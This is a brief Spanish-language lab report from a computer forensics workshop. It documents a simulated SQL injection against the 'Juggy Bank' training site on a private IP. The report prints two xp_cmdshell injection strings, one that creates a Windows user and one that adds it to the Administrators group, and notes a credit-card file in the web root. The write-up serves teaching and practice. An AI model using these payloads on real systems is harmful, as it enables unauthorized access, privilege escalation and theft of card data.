Taller de informática forense

Participantes en la actividad:
Ing Brayan Granados
Ing Jorge Hemmings

Dando alcance la simulación de SQL injection el día 20 de marzo de 2021 se evidencia lo siguiente
realizado en la página de Juggy Bank:

1. Se ingresa vía web a la pagina Juggy Bank por medio de la IP 192.168.124.178

2. Se evidencia que por medio de injection SQL puede ser creados usuarios en el servidor:

‘;exec master..xp_cmdshell 'net user /add jorge H123’;--

3. También se evidencia pueden ser elevados los privilegios a administrador en el servidor
';exec master..xp_cmdshell 'net localgroup Administrators /add jorge loop';--

4. Se ingresa al servidor con el usuario y clave creados:

5. Se confirma que el usuario creado tiene privilegios de administrador

6. Se coloca el comando o consulta en la pagina de Juggy Bank donde en la ruta

c:\intpub\wwwroot\credit_card.txt se encuentra un archivo de texto con información de
tarjetas de crédito.